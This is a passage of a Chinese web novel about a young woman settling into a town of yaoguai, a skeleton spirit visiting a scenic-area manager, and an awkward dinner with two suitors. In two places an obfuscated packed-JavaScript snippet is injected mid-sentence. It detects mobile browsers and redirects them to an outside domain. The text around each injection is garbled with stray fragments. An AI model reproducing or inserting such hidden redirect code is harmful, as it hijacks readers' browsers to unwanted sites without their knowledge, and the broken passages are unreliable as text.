狐狸眼睛亮闪闪的。 云弦重重点头,飞扑进黄千玦的怀里。 黄千玦笑着起身,搂过小狐狸,抱着两个小家伙,“我们下楼去吧,快吃晚饭了,正好把这个好消息告诉爸爸妈妈。” 黄成没在厨房准备晚饭,而是在前厅走来走去,黄云霄坐在前台,嫌他烦,给他扔了条抹布,由他把前厅擦得光可鉴人。 见着黄千玦抱着两个捣蛋鬼下来,夫妻俩的呼吸一窒,视线定定地追随黄千玦的动作。 黄千玦脚步顿住,笑容却明媚,眼里含着细碎的星子,问道:“爸爸妈妈,你们下周三有空陪我去实地考察吗?” “我呢?我呢?”云弦小爪子抓着黄千玦的衣领,细腻的绒毛蹭着黄千玦的下颌,细长条尾巴蹭来蹭去。 黄成、黄云霄对视一眼,出奇的一致,“你还要上学呢?今天的作业写完了吗?” 云弦悻悻地缩回黄千玦的怀里。 “不过,”黄成话题一转,“下周三的话,这段时间,千玦你可以跟着云弦一块去上学,我去帮你办个听课证。” “我?!”黄千玦难得诧异,平静自若的声调陡然拔高了一两度。 “对。”黄云霄接过话头,继续道:“虽说妖怪间喊打喊杀的暴力行为少了很多,但防人之心还是要有的。” “你跟着初年级的老师,先学些简单的法术,防防身。” 黄千玦眨了眨眼睛,颇为愉快地应下。 谁小时候没想过像孙大圣一样,腾云驾雾、七十二变,她也不例外。 “好耶!我一定会当好姐姐的小老师的。”云弦高举双手,兴奋得要从黄千玦怀里跳出去。 小狐狸却一反常态,怏怏不乐。 黄千玦心细,注意到他的反常,若是往常,他早就跟云弦一样,乐陶陶的。 她体贴地捏了捏他的爪子,冲他浅浅一笑。 小狐狸蹭了蹭黄千玦的掌心,狐狸脸上的忧郁消去不少。 他是只留守小妖怪。 他父母在人类世界打拼,生下他后,发现他迟迟化不了形,就把他送回妖怪小镇,跟着自己的奶奶胡三婶一起生活。 奶奶很好,但她替代不了爸爸妈妈的角色。 这也是为什么他天天往云弦家里跑的原因。 但云弦家的幸福常常会灼疼他,他当然不会嫉妒云弦,他只是会非常非常非常思念他的爸爸妈妈。 他现在就很想爸爸妈妈,也顺便想一下他的哥哥。但他真的很嫉妒他的哥哥。 出阳如幼兽般依偎在她怀里。 …… 夜晚。 天元山风景区员工宿舍。 付修义洗完澡,推开窗户,任由夜风徐徐入户,吹起他半湿的花白短发。 “扣扣。” 他蹙眉,这么晚了,谁还来敲门找他?难不成是西区的小梅花鹿又生病了? 付修义赶忙拿起搭在椅子上的外套,披在身上,步履匆匆。 但等他打开门,门外却空无一人。 哪家的调皮小孩在恶作剧? 天元山风景区的员工宿舍是允许员工带着家人一起住进来的。 光是有小孩的,就有五六家。 想着以防万一,付修义上下楼检查了一遍,依旧没人。 他疑惑重重地回了自己的房间。 夜风吹拂,凭空添了几分阴冷,他摸了摸手臂的鸡皮疙瘩,打算关上窗户。 啪嗒。 某个物体触碰玻璃的声音。 付修义心脏漏掉一拍,视线僵硬地下移。 森冷凄白的指骨搭在玻璃窗户上,啪嗒啪嗒地敲击着。 他心脏猛地一跳,大脑瞬间空白,付修义重重合上窗户,动作利落地甩下插销。 指骨被震得掉落楼下。 付修义这才心有余悸地拍拍胸脯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590153|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我有那么吓人吗?” 声音幽幽,像股阴风一阵一阵地吹着人的后脑壳。 闻言,付修义迅速转身,但脚底发软,往后一倒,狼狈地倚着墙壁。 一具骷髅架子坐在他的书桌上,双脚翘起,缺了一只手骨。 墨绿火焰在她眼眶里跳跃。 付修义缓缓吐出一口浊气,“是你啊?怎么不走正门?” “我走了呀,我还敲门了。你太慢了,我等不及了。”白骨夫人右手指骨屈起,敲了敲桌面。 付修义无奈笑道:“我这个年纪在人类里都快退休了,动作慢点很正常的。” “不过进来都进来,怎么还玩手骨吓唬我?”声音里透着股熟稔。 “人类的礼仪。” “我敲门你没见着我,我给你补上。我学的还不错吧!”白骨夫人颇为自得。 付修义:……不知道该说不说,学的什么乱七八糟的东西啊! 但他是不可能把自己的心里话说给白骨夫人听的。 他转移话题:“你怎么来了?我昨天不才帮你下载了最新的电视剧电影之类的?够你追上几个月了。” “行。” “说回正事,理想老头。”她微微一笑,语带似有若无的威胁。 捕捉到“理想老头”一词,付修义与之对话的轻松自在消失不见。 他头皮发麻,脚趾局促地蜷起,尴尬地不敢直视白骨夫人。 “下周三有妖怪来找我,跟之前的那群妖怪不太一样,你要好好招待。” 说完,如她来时一般,她离去得悄无声息。 付修义抬眼,视线里已无白骨夫人。 他苦笑一声,喃喃自语:“不太一样?” 他自顾自地摇了摇头,极为笃定道:“那肯定是一个难缠的妖怪。” 付修义坐到椅子上,缓了好一会儿,才拿起手机,拨通一个电话。 “嘟嘟。” 电话接通。 “这么晚了,怎么还给我打电话?”一道清越的女声从电话那端传来。 “是想邀请我们部门到景区免费团建?”她笑意盈盈地问道。 “不是。” “你们景区有空缺了?要找我们招妖?” “不是。”付修义再次否认。 电话那头的俞莘反倒心生疑惑,老付一向不爱当谜语人,今天怎么奇奇怪怪的。 她有不太好的预感,犹豫片刻,还是问道:“那是碰上什么事了?需要我帮忙?” 付修义长长叹出一口气,那气息悠长得俞莘想穿过电话,揪着他衣领,疯狂摇晃。 你倒是说啊! “未来老妹。” 这词一出,俞莘瞬间噤声。 “没什么事,我就先挂了。”语速极快,尾音收得干脆利落。 俞莘和付修义便是当初聊理想聊未来,哄骗了白骨夫人的两人。 但当时两人也没料到,本以为白骨夫人来了,能带动当地旅游业发展,结果反倒让景区关门重新整改。 这事也让一干吃瓜群众给二人取了组合花名,理想老头和未来老妹。 在妖怪里,两人的花名可是响当当的。 毕竟坑了白骨夫人这种级别的大妖怪,还能全身而退的,也没几个人类。 妖怪们不免惊叹佩服。 而二人一妖自当年事起,一直“缠缠绵绵”,纠缠到天涯海角,谁不放过谁。 “别!”付修义出言制止。 他脱口而出:“是白骨夫人。又有一家妖怪企业联系她了,她今晚来找我,丢下一句,要我招待他们,就走了。” 见白骨夫人只要求付修义办事,没自己什么事,估摸着付修义只是来找自己吐槽,俞莘声音又变得懒洋洋的。 “你都一把年纪了,大半夜还被抓起来折腾,也太可怜了。”她假惺惺地抹了抹眼泪。 “不过她越来越霸道了,我喜欢~” 付修义无语,年轻人的喜好他是越来越不理解了。 不过,“白骨夫人只丢下要我接待对方,但什么信息都没留下,我这不就来找你帮忙了。” 俞莘笑容瞬间荡然无存。这不就跟海底捞针差不多。 如果接下,她的工作量会爆炸的! “当然你不答应,我也是理解的。我明天会自己上山,找白骨夫人聊聊天的。” 绝对是威胁! “我一个老人家,爬那么高的山,累哟!” 你也少跟白骨夫人一起追剧了,哪里学的茶里茶气的?!! 俞莘扶额,阴阳怪气道:“付公公,那您就等着小俞子的好消息吧。” 付修义老怀欣慰,从容应下:“那就拜托你了,小俞子。” 俞莘继续阴阳怪气:“喳!” 7. 见面前夕+暗流涌动 早上六点五十,黄千玦坐在饭桌前,胡乱地嚼了几口肉包子,又灌进去一口粥,囫囵咽下。 她这才空出嘴,打了个哈欠。 昨天晚饭结束,妈妈就同云弦的班主任打电话,通知她明早去听课。 云弦一听姐姐能跟她一起上学,乐得不知所以然,蹦跶着小腿,跑回房间,哼哧哼哧地推着小山似的书出来,冲她撒娇献媚,想晚上跟她一起睡,一起玩闹。 但被妈妈毫不留情地揪住后脖颈,拎回自己房间写作业去。 作业没写完一直玩,哪有这种美事! 昨晚黄千玦难得一个人安安静静地待在房间里,一边翻看妖怪术法大全,一边实践,凌晨三点多才入睡。 学习术法的过程中,她还一不小心把被套烧了个穿,得亏云弦不在房间里,她那个嘴巴漏得跟筛子一样。 一想到这,她故作漫不经心地瞥了眼云弦的屋子,妈妈正费心费力地叫云弦起床。 她得趁早重新买个被套瞒天过海。 七点十分,胡三婶拖着一只迷糊得东倒西歪的小狐狸过来。 夫妻俩和胡三婶定下约定:胡出阳、云弦上学、放学由胡三婶接送;周末由夫妻俩看管两个孩子,提供中饭和晚饭。 小狐狸睡得迷糊,狐狸脸几乎全埋进碗里,嘴里叼着块肉包子,吧唧嘴。 胡三婶端着碗,嘴里咬着一块炸鸡,手里抓着一块,扭着腰,在黄千玦面前走来走去,时不时觑她一眼。 黄千玦略微尴尬地舔了舔下嘴唇。 好了好了,不用一直在她面前扭来扭去,她已经很深刻地认识到胡三奶奶你很靠谱,尾巴简直藏得完美无缺了。 这几天胡三婶每次来,都要在她面前晃悠,乐此不疲。 她垂下眼,默默地吃着早饭。 挨到七点半,云弦磨磨蹭蹭地被黄云霄拖下楼。 云弦和小狐狸不愧是好朋友,上了饭桌,也是一副德行,迷迷瞪瞪地伸着舌头,有一下没一下地舔着肉包子。 胡三婶啧啧地摇着头,除了千玦,两个小屁孩还没她早上来得精神气足,她扭头直接问道:“千玦,早饭吃好了吗?” 黄千玦抽了张纸巾,擦擦嘴唇,“我吃饱了。” “那我们就出发吧。”胡三婶接过黄成包好的早饭,熟练地揪起两妖的后脖颈,雄赳赳地走在前面。 走出前厅,胡三婶将两个小妖怪往空中高高一扔,幻化为有一栋楼高的狐狸原形,毛发蓬松,颜色艳丽,赤红尾巴如一抹旖旎晚霞。 云弦、小狐狸稳稳地落到胡三婶的背上。 “快上来!不然要迟到了!” 黄千玦立刻翻身爬上胡三婶的背部。 下一刻,重重叠叠的楼房屋瓦迅速变小,如排着蜿蜒队伍的渺小蚂蚁一般,从她眼前飞速掠过。 晨光中,雾气朦胧清冷,边缘覆上薄薄一层浅金色流沙。 黄千玦的心境前所未有的开阔浩大。 *** 天元山风景区。 付修义喝完一杯茶水,又续满一杯,杯身滚烫,他却浑然不觉,只是轻轻敲击杯壁。 眼睛看似在眺望碧空万里的晴空,实则放空一切,心神不定。 小陈敲了敲白象实木桌板,付修义如梦方醒,愣愣道:“小王,是小梅花鹿又生病了?” 小陈无奈地叹了口气:“老付,我是小陈,小梅花鹿早就脱离危险了。你怎么一早上都心神不定的?是遇见什么麻烦了?” 说着说着,他狐疑地打量付修义。 付修义是天元山景区的负责人,没有官架子,相反亲切和善,事必躬亲,甚至性格还有些老小孩的脾气,景区里的员工,无论老少,都爱叫他“老付”。 付修义吃了一口滚烫的茶水,舌头一卷,尽数咽下,哼都不哼一声,看得小陈眼皮一跳。 他不由大惑:景区里最近风平浪静,就算是山里头的那位也歇停好一阵了,难不成老付家里的混小子又惹事了? 付修义发愁地瞅了眼小陈,小陈年轻,藏不住心事,他一瞧,就知道小陈在想什么,他只道:“你只管放宽心就好。对了,小王,你来找我有什么事?” 小陈哽住,敢情老付你之前都没在听吗?还有,他叫小陈! 小陈指着桌上的文件,耐着性子重复道:“近春溪集团的总经理下周三要来,这是接待方案,还需要老付你最后过目。” “行!你先放着,我下午前给你们回复。” “还有你叫小王好好休息,看护了一晚的梅花鹿,也怪累的。” 小陈应了一声,满腹狐疑地离去,心里直犯嘀咕:老付这样子,怎么也不像没事的样子! 付修义又吃了口茶,眼珠子几乎都要贴在手机上,望眼欲穿,但迟迟等不到俞莘的电话。 他拿起小陈放下的文件,心不在焉地瞄着,一个个方正字体费劲巴拉地钻进他的眼睛里,又被他的眼珠子眨也不眨、冷酷残忍地踹了出去。 一个小时下来,也没看进多少个字。 “滴滴嘟嘟。” 电话响得太及时了。 他幸福地想要落泪,惊喜道:“这么快就找到了?!小莘,我就知道,别人都不可靠,就你最可靠!来!快点跟我说说!” “你这么热情,让小俞子我有些受宠若惊啊!”俞莘揶揄道。 “让我们直奔主题,少说废话。快!”付修义催促。 俞莘挑了挑眉,不打算随他的意,故意逗弄道:“人是找到了,但我顺藤摸瓜,发现更有意思的,想不想听?” 付修义诚恳道:“不想。” “我急得很!你再不说,白骨夫人又要爬楼找我聊理想聊未来了。九层楼高,多吓人。我年纪大,哪天一不小心吓嗝屁了,你想吐槽八卦都找不到人!” 去年爬山团建,能把她部门里一干年轻力壮的妖怪、人类都比得气喘吁吁的人,就不要妄自菲薄了! 俞莘翻了个白眼,手指利索地摁下键盘上的enter键,“我把文件发你,联系方式、背景资料都在里面了。” “好嘞!”付修义接收完文件,一面扫视黄千玦的资料,一面上道地问:“小莘,你要讲的八卦是什么?” 一听见可以分享八卦了,俞莘熬夜加班倦怠如死鱼的眼珠一下子活泛起来,暗暗搓手。 “聊得就是黄千玦。” “她?” “一看就知道你没赶上新鲜的瓜。赶紧看文件,里面都有的!” “年纪轻轻就能继承那么大的一家企业,还蛮厉害的。倒是可惜了。” “可惜?那可不一定,人家现在不就搭上了白骨夫人。”她笑容玩味,“人家可厉害着呢,不然怎么能被白先生看上?” “你猜猜是什么事?” 她命苦啊,她的下属、同事和领导多是妖怪,对那位先生尊敬得很(但对于她的领导的尊敬,到底是发自内心,还是忍辱负重伺机报复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590154|171864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?她持保留意见)。 她藏着的一肚子八卦,都得憋着,就像盖紧瓶盖用力晃过的可乐汽水,再不说,她迟早要“砰”地炸开,嗞得所有人一身潮湿黏腻。 “烂俗的爱情故事?”付修义头也不抬,目光紧盯电脑屏幕,随口猜道。 他其实不太相信是这个。 付修义见过那位先生,清心寡欲得要成仙了,很少有人或者事,能在他心底泛起涟漪。 不过身为大妖怪,几千年下来,身边的朋友,死的死,散的散,孤家寡人的。身边仅有的关系也只剩下公事和责任,能有点烟火气都算挺离谱的了 他感同身受般叹了口气。 “这哪能啊!我没那么低俗。”俞莘哼笑。 “我发现,原来那女人居然是他失散多年的亲妹妹!” “亲妹妹!” “咳咳!” 付修义一时过于震惊,被自己口水狠狠呛到,咳了好一阵儿,才缓缓道:“小莘啊,编故事还是要讲些逻辑的。” “你这文件才说,黄千玦的亲生父母是一对黄鼠狼。你现在又说什么亲妹妹……” 不觉得离谱吗?就算是爱情故事也比这要靠谱多了。 最后一句话,他咽下没讲,留点情面。 俞莘毫不在意,继续道:“开胃小菜,就当活跃一下气氛嘛。” “我领导,那个整日孔雀开屏不着调的老狐狸,你还记得吧。” “记得,他又做什么妖了?” “他和那位谈过话,说什么,‘我对于她的成长,和你一样很期待。但你不觉得很荒唐吗?她就算再能干,跟我们这群老妖怪比,年轻得就跟胚胎一样,你就算想退休不干了,就急这么几年?老东西,我可不当擦屁股保姆!’” “‘......你真的就急这么几年?你有什么事情瞒着我?’” 她模仿得惟妙惟肖。 “一如既往的嘴上不把门啊。”他想到那老不正经的狐狸,笑着摇头,笑着笑着又忽地沉默下来,“退休好呀。” “反正谁要是敢让我工作百八千年,看我不炸了他!” “不过,我倒是猜到那么一点儿深层内幕。”俞莘突然压低声音,大拇指、食指的指腹捏了捏,暗示付修义快点接话问她。 “到底是什么事情呢?”她笑眯眯地拖长尾音。 付修义不好奇内幕,自古以来,秘密知道得越多,死得越快。一无所知,反倒长命百岁。 他忧心切切道;“小莘啊,我担心你啊,我怕你领导又不知道从哪儿学了个新词,叫工作外包。” 俞莘笑容像是被立时摁下了暂停键,她明白付修义的意思。 在那位的淫威下,老狐狸就是不想答应也得答应,而那狗东西确实干得出“工作外包”这种混蛋事。 作为年度优秀职员,工作外包的苦手舍她其谁。 “STOP!STOP!STOP!” 原本她蓬勃的兴致瞬间萎靡,如狂暴荒原之上被吹断根茎的枯黄小草。 俞莘冷静地从桌上的笔筒里抽出一条速溶咖啡,拆开倒进印着快乐小狗的陶瓷杯里,一点水也不倒,一口直接吞了下去,吃得她满嘴粉末。 她面无表情地生嚼下肚。 “你在吃什么?” “我的颓废。” “正经点。” “咖啡,提神,工作。” “......” 电话挂断。 8. 正式见面 自和白骨夫人通话结束的隔日下午,黄千玦便接到了付修义的电话,二人在电话里简单沟通了下周三的行程。 这段时间,黄千玦白天同云弦、出阳一起上学旁听,学习妖怪术法,下午放学后,同父母讨论完善方案。 时间如流水,汩汩向前流淌,转眼就到了下周二。 黄云霄留在家中,照顾云弦,由黄成陪她一起前往天元山风景区。 黄千玦告别妈妈、云弦和出阳,同爸爸坐进汽车。 她视线上移,捕捉到后视镜里那双躲闪的眼睛,笑道:“我们又见面了,之前是你送我回来的吧。” 司机这才轻松答道:“你还记得呀。黄成、云霄之前还担心你第一次回家会吓到,千叮咛万嘱咐我,一定要我小心。现在看来你适应得还不错。” 黄成笑着推搡了一把,“好了好了,赶紧开车,到时赶不上高铁,怎么办?” “哟!还害臊了!” 黄千玦目光落到窗外,与天际接壤的绿意再度袭来。 第一次接触遮天蔽日的浓绿,她心生警惕与不安,再一次瞧见这或深或浅的绿色,她心底只剩下亲昵与宁静。 以及不舍和重逢的期待。 *** 黄千玦一个人走在走廊,身量高挑,面容素净,俏脸微冷。 长发蓬松凌乱地披在身后,浅蓝色格纹修身衬衫的肩头落着斑斑水渍,下身复古黑休闲牛仔裤,脚踩平底鞋。 穿搭休闲,中和了身上的清冷气质,显得慵懒迷人。 父女俩下午一点左右便到了天元山景区,由付修义亲自接待。 景区的客人招待所与员工宿舍楼位于一栋楼,一到三楼、六到七楼是员工住宿的地方,中间的四到五层专门用来招待客人。 黄千玦办理好住宿,便像游客一般游览景区,直到四点多汗水浸湿长发,她才回到住所,让爸爸先去吃饭,自己洗澡后再去吃晚饭。 窗外,落日西沉,夕阳的余晖斜照,地板上形成条纹似的阴影,黄千玦唇角翘起,玩跳格子游戏一般,轻巧地避开灼热的阳光,落入地上的阴影中。 蓦地,走廊里响起一道急促脚步声。 黄千玦略微抬眼,为首那人西装革履,身形挺拔颀长,眉眼冷峻,目不斜视,径直走向五楼电梯。 她主动落后一步,立在电梯外,静静地等待电梯门合上。 男人垂眸理了理袖口,在电梯门合上的刹那,他抬眼,鹰眼锐利,却在触碰到黄千玦的那刻,黝黑的瞳孔骤缩,似是不可思议,以及一丝欢喜。 他身体猛地前倾,不顾电梯门夹上的危险,伸手探去。 但电梯门最终合上,隔开两人。 黄千玦眉头拧起,男人的反应像是认识她,但她的记忆里确实没有这个男人的身影。 她的记性一向很好,回到妖怪小镇后,她肯定没有接触过对方。若是在临城黄家认识的商业伙伴,她若不记得,那自然不必记得。 电梯再次升起,门打开。 黄千玦进去,电梯里漫着似有若无的如雨后森林飒飒的潮湿清冷香味,极为协调悠长。 她眉眼舒展,心情莫名愉快,这是她很喜欢的一种香水味道。 电梯门徐徐打开。 男人双手插兜,大拇指露在外边,无意识地摩挲布料,眼神深邃,直勾勾地盯着电梯,待电梯门缓缓打开,撞进黄千玦的碎星眸子。 “你好,我是谢辞。”谢辞像个愣头青,略显急躁主动伸手,小臂线条结实有力。 黄千玦回握。 “黄千玦。” “我没有想过会在这里碰见你。”他似乎默认黄千玦知道他。 黄千玦不动声色地问道:“我们认识?” 谢辞懊恼摇头:“抱歉,我忘了。你未必认识我,但我……已经认识你很久了。” *** 天元山风景区员工食堂。 人群熙熙攘攘,有说有笑。唯独西北角的餐桌气压低迷,冷冷清清。 四个人占着起码八个人坐的圆形大桌子,却只有两个人在叨叨讲话。 黄成干巴巴地嚼着饭,他本来和付修义聊得好好的,一个年轻男人,穿着印有浅棕色梅花鹿轮廓的员工衬衫,下身罩着清凉大裤衩,脚上却穿着刷得铮亮的黑皮鞋,肩上挎着碎花布袋,凭空插了进来。 幽幽怨怨地同付修义诉苦。 黄成还不好反驳,据年轻人说,他上个月就约好的时间,结果上周付修义临时改约,他们公司的行程又要推后。 不过他们总裁很理解体谅付修义,谁都不想改时间的,总裁为表诚意,仍旧按着原定的行程过来,随时等付修义的安排。 看似是诉苦,崔黎实际上是给付修义上他家总裁的眼药,他没必要在付修义面前诋毁攻击黄成,相反他还猛夸黄成有眼光。 事已成定局,不如放大格局,塑立他家总裁的良好形象,好为后面的合作打基础。 说到后边,黄成反倒被夸得脸红,嘴里直说,他就是个粗人,还是他女儿眼光好。 说完这个,崔黎又说到自己。 他下午一来,一只调皮小猴子捧着一堆酸桔,蹦蹦跳跳地四处逃窜,结果跳到他的头顶安家了,剥着桔皮,吃得开心。 结果汁水淅淅沥沥地流淌到他的衣服上。 但谁让小猴子养得这般机灵可爱呢?当然是原谅它咯! 崔黎无奈地摊手,表情生动滑稽,哄得付修义、黄成哈哈笑。 就连黄成对面的黑皮衣黑皮裤的俊俏小伙也从脸大的雪糕桶抬起头,饶有趣味地听崔黎讲话。 忽地,崔黎窜起身,猛地朝一个方向挥手,却又怔住,表情呆滞和不可置信。 黄成顺着他的视线望去,却发现自己的女儿的背影。 他站起身叫道:“千玦,这边!” 黄千玦回头,看见黄成,举了举手里的餐盘,又转过身去盛饭盛菜。 黄成坐回位子上,笑道:“我女儿等会儿就来,你们很快就能见着了。” 付修义笑着点点头,他是很期待见识这个女妖怪的,居然能说服白骨夫人,有前途。 至于……那就不是他能干涉得了。 崔黎深受打击,强撑着笑。 约莫五六分钟。 黄千玦端着餐盘,款款走来,走到近处,黄成才注意到,千玦身后跟着一个西装男人。 他狐疑地望向黄千玦。 黄千玦摇了摇头,又点点头,犹豫答道:“算是,今天认识的,一个朋友。” 她在黄成身侧落座。 谢辞先跟黄成打了个招呼,再跟付修义浅聊一番,才跟在她身后落座。 付修义惊异地瞅瞅黄千玦、瞅瞅谢辞。 他和近春溪集团合作多年,谢辞这个人虽是几个月前回国,这回还是第一次见,但他还是认识的谢辞的脸的。俞莘给他的资料他也看过,黄千玦之前接触的都是娱乐圈产业,同旅游业八竿子打不着边。 这两人是怎么认识的? 谢辞一落座,原本的开心果崔黎又莫名地沉默沮丧,气压又低了下去。 自带一股萧瑟冷风萦绕不绝。 黄千玦一下午都在走路,肚子早就饿得叽里咕噜叫,没有空余精力理谢辞。 谢辞攥着筷子,指尖微微发紧,瞅了一眼黄千玦,低头夹一团白米饭,食不知味地咽下,没过几秒,又抬头瞅了眼黄千玦,欲言又止。 三番两次下来,长眼睛的人或者妖怪都看明白到底怎么回事了,闷不吭声地打量二人。 崔黎不动声色地观察,他早就听说过总裁念念不忘的女神,临城黄氏继承人黄千玦。 所以这就是总裁看见他挥手,却直接无视他的原因? 商业杂志、宴会照上的黄千玦鼻梁高挺,抿着嘴唇,笑容得体却疏冷,下颌微抬,透着一股令人难以忽视的矜傲与从容。 他们私下腹诽过,冰山撞冰山,还不得玉石俱焚。 尤其是之前的真假千金闹剧传得沸沸扬扬,流传出来的视频中,黄千玦依旧傲得很,一点没改平日作风。 可眼前这个人,同样一副容貌,气质却截然相反,焦糖色余晖透过玻璃窗,落在她的发梢,深色的瞳眸染上融融暖意。 蓦地,崔黎心脏漏跳一拍,他慌张地垂下头吃饭。 黄千玦不为所动,慢条斯理地吃饭,她早就习惯所有的目光都汇聚到她的身上。 桌上的其余人吃得却没滋没味,坐立难安,时不时 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黄千玦放下筷子,筷子与餐盘碰撞,发出清脆的声响,吸引了其余人的目光。 谢辞眉头微蹙。 静悄悄。 她视线平移,二人视线对视,如水清澈的眸子凝着一层薄冰,嘴唇绷得紧紧的。 对方的五官轮廓分明,肤色极白,欺霜胜雪,碎发略微卷曲,虚虚地遮着他的浅色瞳眸,眼下淡淡乌青,眉骨投下的阴影恰好遮住他的左侧脸。 凭空令人想起细雪绵绵,天空氤氲泛白,远处悬崖峭壁上劲风呼啸,寒冽摄人,近处野兽独行,背着风雪,留下一连串凹陷的爪印。 以致让人忽略了他不合时宜的着装。夏日炎炎,他却穿着黑色高领薄毛衣,外搭黑色皮衣,修身皮裤裹着他的长腿。 他一笑,风雪乍停,拨开乌云见日出。 黄千玦微不可见地皱眉,后颈汗毛倒竖,泛着丝丝凉意。 对方在这里坐了许久,却直到这一刻,她才第一次清晰地认清对方的面容、审视对方的威险程度,这可不是一个很好的暗示。 黄千玦眉眼倏地一弯,首先开口:“你不热吗?” 凌霁一愣,摸不着头脑,但还是顺着她的话,答道:“还行,我体质好。” “不知道稍后有没有机会交换联系方式?”黄千玦单刀直入,反客为主。 凌霁下意识地抱紧他的雪糕桶,他就算见过的人类世面再少,现在这个场合,这个话问得有多危机四伏、险象环生,他还是清楚的。 “嗯?哪里不合适?”嗓音轻柔,像是旖旎的陷阱。 凌霁摇摇头,一时语塞。 黄千玦微笑,“那不就可以了。” 野兽的天性告诉凌霁,他必须拒绝,但他一向不爱循规蹈矩,否则他就不会出声掺和。 “可以。” 他眼窝深邃,眉眼狭长,眼睛一眯,即便在笑,也给人一种挑衅威胁的意味。 “晚饭结束后吧。”她重新拿起筷子,视线一扫,定定地看着四人,“吃饭?” “对对对,快点吃。”黄成回过神来,招呼大家赶紧动筷。 谢辞攥紧筷子,薄唇绷直,幽幽地盯着凌霁好一会儿才吃饭。 崔黎等谢辞动嘴了,也才放心地吃。 凌霁处于事件中心,像个没事人一样,一勺一勺地挖着雪糕。 付修义反倒是最沉不住气的,刷得起身,问道:“凌霁,你喜欢什么口味的冰淇淋,我给你买!” 凌霁是这个现场里他最熟悉的妖怪。 凌霁嘴唇微弯,笑眯眯道:“工作时间,我们是不允许接受……” 付修义强硬打断他:“我请你。什么口味?” “不要抹茶,我忌口。”凌霁识相地迅速说完。 付修义端起餐盘,抱歉道:“我先走一步,你们有什么事,电话联系。” 说完,马不停蹄地离开没有硝烟的战场。 黄千玦微微挑眉,睨了眼付修义,这人还怪有意思的。 剩下的五人,谁也没有离开餐桌,硬生生地坚持完这顿无声的晚餐。 黄千玦、凌霁除外。 9. 真的要见面啦 晚饭过后,谢辞提出要领黄千玦夜游天元山景区,尽管他也是初来乍到 黄千玦婉言谢绝,她要同自己的父亲聊一些私事,不能同行。 谢辞遗憾地带着崔黎离去。 黄成见只有父女二人,这才放宽心问道:“千玦,对他有什么看法?” 今晚一顿饭提醒他,千玦已经二十四岁了,这个年纪的孩子多数都乐意交男女朋友,有些快的,都该结婚了。 他和云霄前不久才接回千玦,一直把她当纯真无邪的孩子看待,现在他不免有些惆怅。 他们做父母的,还是希望能和孩子多相处几年。 黄千玦了然,“谢辞是一个很好的合作对象,人冷了一点,傲了一点,但是能听得进意见,知错就改,不强要面子,体谅别人。” 从客观角度来讲,谢辞的冷静自持简直是一个翻版的她。 她当然清楚自己是一个什么样的人。因此,她会和他合作,但绝不会爱上他。 走出电梯,猜到并亲耳听到谢辞对她的心意,她当场就明确地拒绝他。她不喜欢拖泥带水,没有可能的事情,就不要给对方留念想。 但出乎意料的是,他没有放弃,仍旧坚持。 黄千玦有些头疼地拧眉。饭桌上,虽然整体上气氛尴尬,但她也或多或少地了解到一些信息。 谢辞,近春溪集团的总裁,与天元山景区合作,计划建立文旅小镇,发展旅游业。如果她能搭上这条线,那么就能建立长期稳定的项目。 不过一切都为时尚早,未来变化无常。黄千玦暂且不去想这事。 她忽地轻笑一声,莫名其妙地说了句:“糖分摄入过多,对牙齿不好。” “云弦和出阳也要注意。” 闻言,黄成立刻想起凌霁埋头苦吃雪糕的模样,忍不住发笑。 “我的牙齿保护得很好。” 黄千玦的身体猛地紧绷,转过身去,凌霁单手插兜,右手举着草莓奶油冰淇淋——付修义送给他的,下唇沾着粉色奶油渍。 凌霁落在他们的后边,他不是故意要偷听他们讲话的,耳朵过于敏锐,被迫听到一些私语,非他本愿。 但听到议论他的牙齿,他忍不住出声反驳。 黄成尴尬地看天看地,就是不与凌霁对视。 “你可以放心,我牙齿很健康。”凌霁加重语气强调,“而且冰淇淋、雪糕也不只有甜的,比如说油辣子冰淇淋、折耳根雪糕、香菜冰淇淋。你要喜欢,回头我给你推荐,发你链接。” “你自己享受美味就好。”黄千玦唇角微微抽搐,有些怀疑自己的耳朵,真有那些冰淇淋、雪糕? 谁会吃这些奇奇怪怪的黑暗料理? *** 隔日一早,五点二十分,外边漆黑,只有天地交界处浮现一抹白色。 按照白骨夫人要求的,黄千玦早早起床,穿好简便裤装,脚踩运动鞋,清点好背包内的文件、平板,敲响黄成的房间门,一起去食堂吃饭。 付修义昨晚提醒二人,山路陡峭,虽然坐索道能少走大段路程,但毕竟要走一段山路,简约方便为上。 父女二人同付修义一起在食堂吃晚饭,便相约去往索道。 凌霁早在索道等候室眯眼歇息,手臂修长,双手抱胸,双腿交叠,随意地伸展。手里虚虚握着尾巴尖尖的蛋筒。 他仍旧穿着昨日的衣服,皮衣蒙着一层水雾。发丝、袖摆、裤腿间沾上细碎的根叶、泥点,眼底的乌青愈发明显了。 “来了?”他睁开眼,浅色瞳眸里布满血丝。 “晚上要早点睡,早上要喝点热的,”付修义像个家长一样絮絮叨叨,又转头歉然笑道:“年轻人一干起工作来,就忘了别的,见谅。” “可以理解的。”黄千玦应下,至于凌霁干什么工作需要大半夜山野乱窜,那就不是他们该深入询问的事情了。 高山险峰,群峰笼着冷雾,索道的缆线像是夜空中的流星,在云雾中若隐若现。 白骨夫人指骨抵着颧骨,上下颌骨磕上时发出轻微的咔哒声。 